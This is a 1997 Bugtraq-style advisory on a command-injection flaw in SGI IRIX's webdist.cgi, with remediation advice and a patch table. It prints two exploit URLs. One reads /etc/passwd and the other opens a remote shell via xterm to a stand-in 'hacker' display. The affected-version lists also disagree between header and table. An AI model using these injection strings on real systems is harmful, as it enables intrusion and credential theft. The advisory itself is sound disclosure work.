IRIX cgi-bin webdist.cgi Vulnerabilty

Bugtraq ID:	374
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 06 1997 12:00AM
Updated:	May 06 1997 12:00AM
Credit:	This vulnerability was first reported in an SGI Security Advisory on May 6, 1997.
Vulnerable:	SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 6.1 SGI IRIX 5.3 SGI IRIX 5.2 SGI IRIX 5.1 SGI IRIX 5.0
Not Vulnerable:

IRIX cgi-bin webdist.cgi Vulnerabilty

A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahics Inc with the Irix operating system. This vulnerability will allow any remote user to execute arbitrary commands on an affected machine. Commands will be executed with the privileges of the httpd daemon.

IRIX cgi-bin webdist.cgi Vulnerabilty

/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

or

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh

IRIX cgi-bin webdist.cgi Vulnerabilty

Solution:
Removal of the webdist.cgi program is the safest option.

Please go to SGI support at http://support.sgi.com for official patches from Silicon Graphics for this any other vulnerabilities.
OS Version Vulnerable? Patch # Other Actions
IRIX 3.x no
IRIX 4.x no
IRIX 5.0.x no
IRIX 5.1.x no
IRIX 5.2 no
IRIX 5.3 yes 2315
IRIX 6.0.x yes not avail Note
IRIX 6.1 yes not avail Note
IRIX 6.2 yes 2314
IRIX 6.3 yes 2338
IRIX 6.4 yes 2338

Note means to upgrade operating system or see temp solutions
before.

IRIX cgi-bin webdist.cgi Vulnerabilty

References:

• SGI Support (Silicon Graphics Inc.)